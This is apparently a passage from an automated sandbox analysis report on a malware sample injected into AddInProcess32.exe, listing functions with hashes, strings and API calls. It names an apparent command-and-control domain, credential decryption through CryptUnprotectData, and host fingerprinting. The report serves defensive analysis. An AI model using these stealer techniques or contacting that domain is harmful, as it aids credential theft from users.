Function 0536DBE0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2797079790.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538e79ce4bb0e46cf10dd61035de112493b52849e6c04d07bab369b2a2391365
Instruction ID: 48a663e9a51757d334a783245ea857c5df8e19443fdb5e67cc67d6037450baba
Opcode Fuzzy Hash: 538e79ce4bb0e46cf10dd61035de112493b52849e6c04d07bab369b2a2391365
Instruction Fuzzy Hash: 70C106B16107468AD710DFE4EC491897BF1FBA5328F11821BD1656B2E4DFB8108BCF86

Function 080A9790 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 923dcf5076c65b21a26373be3ff62ac6065d5004a01517e3ccb245414411a74b
Instruction ID: f8f28e21aa35b1ceccbd3756144e99dd0a6fac007966ada347fc718051abe8b1
Opcode Fuzzy Hash: 923dcf5076c65b21a26373be3ff62ac6065d5004a01517e3ccb245414411a74b
Instruction Fuzzy Hash: 7AA11970E015198FCB54DFA9C980AAEBBF3BF89305F24C1A9D418A7356D730AA41CF61

Function 080A7E30 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a01569da2e88c6bbbdef6637bdaddd169c2218ecffa7e582969217dfa8ddea65
Instruction ID: 1b7f56942e31d909dcd0583969982a3627ad0baf9e482503aa0a19128acd9a0c
Opcode Fuzzy Hash: a01569da2e88c6bbbdef6637bdaddd169c2218ecffa7e582969217dfa8ddea65
Instruction Fuzzy Hash: 44811970E112198FCB54CFA9D980AAEBBF2BF89301F14C1AAD418A7315D730AA41CF50

Function 0785FB90 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02968af082d99e0f3014afd997b128393ff565152cfb0d5ab0bb63e55c951631
Instruction ID: 5a375bfbc0b4102b539396d33b98ef441e003243ca404fc87e9db1878d88e24d
Opcode Fuzzy Hash: 02968af082d99e0f3014afd997b128393ff565152cfb0d5ab0bb63e55c951631
Instruction Fuzzy Hash: E681F074E15219DFCB08CF99D4849AEFBF1FB89210F14856AE918EB324D730AA41CF91

Function 080A7E22 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 633613a86d9b10b1996c0a67418eef1775596253954572c5a83f125c36757c9c
Instruction ID: fb74b1fcaafacc15be6c385bbceada9bb3a9b0f9036a8cc531db45d51d76ec7d
Opcode Fuzzy Hash: 633613a86d9b10b1996c0a67418eef1775596253954572c5a83f125c36757c9c
Instruction Fuzzy Hash: B1710A70E116198FDB54CFA9C980AAEBBF3BF89301F14C1AAD458A7355D730AA41CF61

Function 0801F0CA Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b4dfbe8c05e42abba2d1804130083f7457f3d225d0bd8c17e306a4cc459f97
Instruction ID: e28cd341db52c4d0dbe18bdd0e9f6d1864fd62e76fa896c0737a904e9aa5d4e2
Opcode Fuzzy Hash: 98b4dfbe8c05e42abba2d1804130083f7457f3d225d0bd8c17e306a4cc459f97
Instruction Fuzzy Hash: 25610574E1521ADFCF04CFA8D5859AEFBB2FF89311F24856AD505A7314DB30AA81CB90

Function 080A4DE0 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc51879cb710f999fd8f4349974e487543bde4b945c72fda3289475594939c0a
Instruction ID: 925185da338596e46c3544ad5c2fae136c7bfba43e8d9ea9cbb327c94958d401
Opcode Fuzzy Hash: cc51879cb710f999fd8f4349974e487543bde4b945c72fda3289475594939c0a
Instruction Fuzzy Hash: 15514A74E015198BDB14CFAAC9805AEFBF3FF89305F24D5AAD418A7205DB709A41CF61

Function 080A4DDA Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd54c4b3abeee9fd481427c883da4d0db3b4cfba213397ba1c28451ff8821d67
Instruction ID: 0bb7720bdc21ae77a9d2a292f71922f0410b155c9de95b1c1663b88751649066
Opcode Fuzzy Hash: bd54c4b3abeee9fd481427c883da4d0db3b4cfba213397ba1c28451ff8821d67
Instruction Fuzzy Hash: EA513A74E015198BDB18CFA9CA805AEFBF3FF89305F24D56AD418A7205DB709A42CF61

Function 080A1248 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e422d59560e223a3d335744deeedbe9947d4dc04c7bd172c55a277fd92d4fa
Instruction ID: 93e202c7029e83d82a61a4e38d85fded3b4a30a5a22cac972b9edcb56b0041b0
Opcode Fuzzy Hash: 46e422d59560e223a3d335744deeedbe9947d4dc04c7bd172c55a277fd92d4fa
Instruction Fuzzy Hash: 32513B71E016188BEB58CF6B8D4579EFBF7AFC8301F14C1BA850CA6264EB345A958F11

Function 080A1242 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5245e6266a1a4d374ae55b5717cec0b7701b7b7b7f11bd7393053e6fdd82a7a9
Instruction ID: afdc08678b3887fdf619849d2e9ec67f3dac9d9c42edfdb73e893e1996d33b09
Opcode Fuzzy Hash: 5245e6266a1a4d374ae55b5717cec0b7701b7b7b7f11bd7393053e6fdd82a7a9
Instruction Fuzzy Hash: 00412AB1E016188BEB58CF6B8D4579EFBF3AFC8300F14C1BA950DA6264EB3459958F11

Function 080A04E1 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee8ce3307f4fac91632d5f5815ab72887d90f261c648475a9334e69812d40ee
Instruction ID: b3523faa6def3b1824e944d37a4bdd46a462a0aad70e1f61fb1986f871fa0a55
Opcode Fuzzy Hash: 3ee8ce3307f4fac91632d5f5815ab72887d90f261c648475a9334e69812d40ee
Instruction Fuzzy Hash: 464106B0E0160ADFCB04CFEAC5815AEFBF2EF88300F24C16AD408A7254D7359A41CB91

Function 080A04F0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5237e7620b47e97f9b96e72f4e90b401237de9254a807ddb2732f941b3d7abb4
Instruction ID: e60f7cee1482a3a84ce8dd8f19ee74c6b03d9b89c9be78cbb601c01f4220e2a7
Opcode Fuzzy Hash: 5237e7620b47e97f9b96e72f4e90b401237de9254a807ddb2732f941b3d7abb4
Instruction Fuzzy Hash: EB41D3B0E0160ADFCB48CFAAC5815AEFBF2EF88301F24C56AC418A7214D7359A41CF95

Function 080A0695 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc0a2b92828977003bccc224d673dc1c1d54d2c44b702efcd0cc7f0d3f039ecd
Instruction ID: 8b83a846e7849bbd2e0beda98fa2354a57eb6e6f86d58eb1acc6a8860c4ca5f3
Opcode Fuzzy Hash: bc0a2b92828977003bccc224d673dc1c1d54d2c44b702efcd0cc7f0d3f039ecd
Instruction Fuzzy Hash: F511CE71E11A189BEB4DCFABCC4069EFAF7AFC8300F04C079D918A6264EB3455518F55

Function 00A45B40 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;]q, xrefs: 00A45B72
\;]q, xrefs: 00A45B4C
\;]q, xrefs: 00A45B56
\;]q, xrefs: 00A45B7E

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: \;]q$\;]q$\;]q$\;]q
API String ID: 0-2351511683
Opcode ID: b00a51ad1114a40ee639d20750f533104af93f7c1c683be3a7bd6617b14e20a7
Instruction ID: 5ea03daf309cea277aec92ecc64100da34361980f253d430336a26de9898a649
Opcode Fuzzy Hash: b00a51ad1114a40ee639d20750f533104af93f7c1c683be3a7bd6617b14e20a7
Instruction Fuzzy Hash: E6017C39F409148FC7689F3DC48092977EAEFC8B6172945AAE401CB372EA70DC42C795

Analysis Process: AddInProcess32.exePID: 5668, Parent PID: 2200COMMON

Execution Graph

Execution Coverage:	7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.3%
Total number of Nodes:	183
Total number of Limit Nodes:	13

Executed Functions

Function 00410130 Relevance: 43.9, APIs: 4, Strings: 20, Instructions: 1884COMMON

Download Yara Rule

Strings

J!G', xrefs: 00410330
T1S7, xrefs: 004112D5
K=C#, xrefs: 00410325
{){/, xrefs: 00410346
74B98648EB1C655557FD11FC74DB02FF, xrefs: 0041093E
=i<o, xrefs: 0041015A
#Tw, xrefs: 00410E4F
V[, xrefs: 00410AE7
goalyfeastz.site, xrefs: 00410419, 00410BEF, 00410C2C, 0041137A
f[zU, xrefs: 004115EA
_], xrefs: 00410AD2
;:54, xrefs: 0041175C
xr, xrefs: 00411273
;:54, xrefs: 00411805
U`3, xrefs: 004102F9
`1d7, xrefs: 00410304
Noni, xrefs: 004115FF
{-S, xrefs: 00410351
F], xrefs: 00410AE0
d5h;, xrefs: 0041030F

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: #Tw$74B98648EB1C655557FD11FC74DB02FF$;:54$;:54$=i<o$F]$J!G'$K=C#$Noni$T1S7$U`3$V[$_]$`1d7$d5h;$f[zU$goalyfeastz.site$xr${){/${-S
API String ID: 0-3265505516
Opcode ID: f8ab64ea4c7e8e210182be6e25d8877d480a05b41285a1b532a597eb8aa41f09
Instruction ID: 6273a6f89015048420069fd8e76e9716c3636ab33a276e99926261cacd246b67
Opcode Fuzzy Hash: f8ab64ea4c7e8e210182be6e25d8877d480a05b41285a1b532a597eb8aa41f09
Instruction Fuzzy Hash: 9ED243B56047408FD3248F25D88176BBBF1FF86304F18856DE5968B3A2D779E806CB86

Function 0042EB60 Relevance: 30.8, APIs: 5, Strings: 11, Instructions: 2801COMMON

Download Yara Rule

Strings

,C, xrefs: 0042F4A3
syrh, xrefs: 00430234
kk, xrefs: 004309D6
Y?^i, xrefs: 0042EC80
ODIF, xrefs: 0042ECDA
"JZ, xrefs: 004300DD
*JZ, xrefs: 00430113
34t, xrefs: 00430C57
vNHF, xrefs: 0042F2F2
fjnr, xrefs: 0042F3C8
'Rx/, xrefs: 0042F5FB

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: "JZ$'Rx/$*JZ$,C$34t$ODIF$Y?^i$fjnr$kk$syrh$vNHF
API String ID: 0-2606108540
Opcode ID: f1385e0472e737411eb293167e93e2b1d896b708bed0ee908690dfc3b3201680
Instruction ID: 1668301a4a25afde2e4d19bd0ad22d91ff18bef6338bf9f0b8afd95663acfb5e
Opcode Fuzzy Hash: f1385e0472e737411eb293167e93e2b1d896b708bed0ee908690dfc3b3201680
Instruction Fuzzy Hash: F7131874604B908BE7358F35D4A07A3BBE1AF57304F4889AEC1EB4B386D779A409CB15

Function 00410118 Relevance: 29.8, APIs: 4, Strings: 12, Instructions: 1780COMMON

Download Yara Rule

Strings

goalyfeastz.site, xrefs: 00410419, 00410BEF, 00410C2C, 0041137A
T1S7, xrefs: 004112D5
f[zU, xrefs: 004115EA
_], xrefs: 00410AD2
;:54, xrefs: 0041175C
xr, xrefs: 00411273
;:54, xrefs: 00411805
74B98648EB1C655557FD11FC74DB02FF, xrefs: 0041093E
Noni, xrefs: 004115FF
F], xrefs: 00410AE0
#Tw, xrefs: 00410E4F
V[, xrefs: 00410AE7

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: #Tw$74B98648EB1C655557FD11FC74DB02FF$;:54$;:54$F]$Noni$T1S7$V[$_]$f[zU$goalyfeastz.site$xr
API String ID: 0-2242764383
Opcode ID: b0442be8fbfaddd4d400ec01b602989528da55d0bda54cb2a5bd8dac2407de0e
Instruction ID: 2214ddb4aa977259affe9d128b542b83af94708bdbd03a589afbbb747fa6f94c
Opcode Fuzzy Hash: b0442be8fbfaddd4d400ec01b602989528da55d0bda54cb2a5bd8dac2407de0e
Instruction Fuzzy Hash: 43C264B56047408FD3248F25D891727BBF1FF86304F1885ADE4968B7A2D77AE806CB85

Function 0042F4DD Relevance: 21.2, APIs: 5, Strings: 6, Instructions: 1934COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042F89E
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 0042F986
GetPhysicallyInstalledSystemMemory.KERNELBASE(00000000), ref: 0043009C

Strings

,C, xrefs: 0042F4A3
syrh, xrefs: 00430234
kk, xrefs: 004309D6
Y?^i, xrefs: 0042EC80
ODIF, xrefs: 0042ECDA
"JZ, xrefs: 004300DD
*JZ, xrefs: 00430113
34t, xrefs: 00430C57
vNHF, xrefs: 0042F2F2
fjnr, xrefs: 0042F3C8
'Rx/, xrefs: 0042F5FB

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ComputerName$InstalledMemoryPhysicallySystem
String ID: "JZ$'Rx/$*JZ$,C$34t$ODIF$Y?^i$fjnr$kk$syrh$vNHF
API String ID: 1996838884-2606108540
Opcode ID: 69b1267634a027b30bf6912e36c04a49f7f474b4ea68692130fd7d15f13d2561
Instruction ID: 720d6aa5ae566c4ed92dd2e9e444606c90beba08f29df70a540f1b78ea5a33a4
Opcode Fuzzy Hash: 69b1267634a027b30bf6912e36c04a49f7f474b4ea68692130fd7d15f13d2561
Instruction Fuzzy Hash: C1D2D775604B818FE7258F35D4A07A3BBE1AF57304F4889AEC0EB4B782D779A409CB15

Function 0043A97E Relevance: 19.8, APIs: 9, Strings: 2, Instructions: 587
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(?), ref: 0043A9E1
SysAllocString.OLEAUT32 ref: 0043AA7E

Strings

;:54, xrefs: 0043AF35
;:54, xrefs: 0043AFFE

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: AllocString
String ID: ;:54$;:54
API String ID: 2525500382-2193779323
Opcode ID: 5a2d59dda4199b9ba7836554c8fddcc4131909e2c835070e86cdbcb1c4dc86dd
Instruction ID: 2cdab4973b36a2ceba13e1940af5890ec94b31d07d7f00d7a7e93af7ed3afa87
Opcode Fuzzy Hash: 5a2d59dda4199b9ba7836554c8fddcc4131909e2c835070e86cdbcb1c4dc86dd
Instruction Fuzzy Hash: 9012657AA00701DFD724CF25D880B2AB7B2FF8A300F14856DD5968B7A1D739E816CB84

Function 00426800 Relevance: 13.4, APIs: 1, Strings: 6, Instructions: 1152COMMON

Download Yara Rule

Strings

bqB, xrefs: 00427152
P, xrefs: 0042690D
SV, xrefs: 00426914
InA>, xrefs: 004268A0
InA>, xrefs: 00426A50
;:54, xrefs: 0042683C

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: ;:54$InA>$InA>$P$SV$bqB
API String ID: 0-3637656280
Opcode ID: 1fe632dc048b197257461048574386dac656c9afb9c8ab4459265dd05189564e
Instruction ID: efe4a20678031bc524173eeb0d2e1288ac060935f4558c6973bec6d73e9da576
Opcode Fuzzy Hash: 1fe632dc048b197257461048574386dac656c9afb9c8ab4459265dd05189564e
Instruction Fuzzy Hash: 85821475E04225CFDB04CF68DC816AEB7B2FF4A311F1981A9D941AB391D739E842CB94

Function 0041D5AF Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 404
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0041D87D

Strings

r, xrefs: 0041D739
J, xrefs: 0041D70E
;:54, xrefs: 0041D5E1, 0041D5F8

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: ;:54$J$r
API String ID: 834300711-2889753551
Opcode ID: b8fbcdff2cf27d6daa97ffa3dab79fbbf3af2ef6e8a916c70c28e25c9d54df8d
Instruction ID: 1e6a48387384232ca1d9aaf70156626af773b6e64c63cef5257967e80691cf26
Opcode Fuzzy Hash: b8fbcdff2cf27d6daa97ffa3dab79fbbf3af2ef6e8a916c70c28e25c9d54df8d
Instruction Fuzzy Hash: 27D106B5A083409FD724CF24C8917ABB7E1EF96304F04892EE5DA87392D778D941CB96

Function 00426F82 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

bqB, xrefs: 00427152
;:54, xrefs: 00426FE8

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: ;:54$bqB
API String ID: 0-2071309610
Opcode ID: 263537fe2a8df3ec3f14dcc44ec227b89241fc27fa4e8899ccdf581fb29b93dd
Instruction ID: fa4f063e5c1a2739215ee5b4adf56ea63b9745041435cfc788aeb297095a9e3c
Opcode Fuzzy Hash: 263537fe2a8df3ec3f14dcc44ec227b89241fc27fa4e8899ccdf581fb29b93dd
Instruction Fuzzy Hash: 6BF144B6E01215CFDB04CF68C8817AEB7B2FF89305F298169D905AB391D779D902CB94

Function 004359B7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00435A05
GetSystemMetrics.USER32 ref: 00435A14

Strings

, xrefs: 00435AE8

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 7ebe9ada2b944e2a605cbf6a1b9a2adb3c02393c48b07d7d3b47b36bb3546d83
Instruction ID: af170d9abb170c5f9c5b4b0cc02af21999a26d1706b44f637ddae32c9d32eadc
Opcode Fuzzy Hash: 7ebe9ada2b944e2a605cbf6a1b9a2adb3c02393c48b07d7d3b47b36bb3546d83
Instruction Fuzzy Hash: 275180B4E142048FCB40EFACD98169DBBF0BB49300F10856EE898E7350DB74A945CF96

Function 00440D90 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004440E0,005C003F,00000002,00000018,?), ref: 00440DBE

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 004441F0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 03a99d87a2b41afe7c87664c657482e911ea18831468bda48fd0c6a37a8fb2b2
Instruction ID: 3fa07f6db641d71a0473f50ea65704cafb772fe890b3affdcce6dfd07b14b487
Opcode Fuzzy Hash: 03a99d87a2b41afe7c87664c657482e911ea18831468bda48fd0c6a37a8fb2b2
Instruction Fuzzy Hash: 26414636704300AFE7148B599CC1B3B77A6AFD9B04F19402EEA815B7A1D6B5EC048789

Function 004413D5 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c50a3ff0d1de7391cf4100277f546ca23f53629a5a530595b00d458c2c75fd9
Instruction ID: 8c003f9823dd69ea712ad3b12e21b48027cbc909d67c67ab34576fa10d6e70ee
Opcode Fuzzy Hash: 4c50a3ff0d1de7391cf4100277f546ca23f53629a5a530595b00d458c2c75fd9
Instruction Fuzzy Hash: B8212B796083109FE3149F1884D057773A1EB9B329F15163ED592573B2C338AC85DB5E

Function 0044137E Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8d17ee3c5b0249c4511545cef8028621f6b40edad453890fbf9e24c95996764
Instruction ID: f199c747c52a9adc49da1807b431ea695ec0528af7265f3209bd91b7ed0bd343
Opcode Fuzzy Hash: c8d17ee3c5b0249c4511545cef8028621f6b40edad453890fbf9e24c95996764
Instruction Fuzzy Hash: 1801D6386142409BE758DF25D8D18377352E79B358F24193ED193872B1C334A845CB1E

Function 0040D0B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0040D165
ShellExecuteW.SHELL32(00000000,81368735,00448050,?,00000000,00000005), ref: 0040D249
GetForegroundWindow.USER32(?,00000000,00000005), ref: 0040D24F
GetCurrentProcessId.KERNEL32(?,00000000,00000005), ref: 0040D259
ExitProcess.KERNEL32 ref: 0040D279

Strings

ps, xrefs: 0040D1C4

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: CurrentProcess$ExecuteExitForegroundShellThreadWindow
String ID: ps
API String ID: 1013327911-2817149839
Opcode ID: 395947aa4596a6fdbf01b6e5e31911d6bd80a891b54674111b2221b4422230a7
Instruction ID: 802e53b9b5d3fab858b8c0f51e2b6f1987ae4d254ae5757ddd4a7fa400bb7844
Opcode Fuzzy Hash: 395947aa4596a6fdbf01b6e5e31911d6bd80a891b54674111b2221b4422230a7
Instruction Fuzzy Hash: D14108316183408BE714AB75981536FBBD69FC6314F158D2EE4C1EB2D2CE78C40A8B5A

Function 00440CC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 79
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,00000000), ref: 00440D59

Strings

RD, xrefs: 00440D3D

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: AllocateHeap
String ID: RD
API String ID: 1279760036-1416026120
Opcode ID: f9da6b5eb551a4eb3825273e23e17b74b074d4dcce33d7eb076d9db6a9fcfe30
Instruction ID: 917b482b4b1a8382910e40b870116946ac0ab3381335ac39e00a72b089b8d08d
Opcode Fuzzy Hash: f9da6b5eb551a4eb3825273e23e17b74b074d4dcce33d7eb076d9db6a9fcfe30
Instruction Fuzzy Hash: A1018E71D19212CBE314AF75EC8492BBBA5FFCA341F18487DE48057211E634AC19C3EA

Function 00440F20 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00440F76

Strings

2123, xrefs: 00440F62

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ForegroundWindow
String ID: 2123
API String ID: 2020703349-208623094
Opcode ID: b210a30273bb33dd53bdeff02939b666426f70206f57e02b163fddc4f9f8c158
Instruction ID: dd62e8bd2cb4611141040fdff5c29f2e00b613cfc95a5b2aa94b2229cd067ee0
Opcode Fuzzy Hash: b210a30273bb33dd53bdeff02939b666426f70206f57e02b163fddc4f9f8c158
Instruction Fuzzy Hash: CFF028795082804BF310DB29D84122677A1E782319F04893EE5D1C3391C738C9058B0B

Function 004107F7 Relevance: 2.6, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

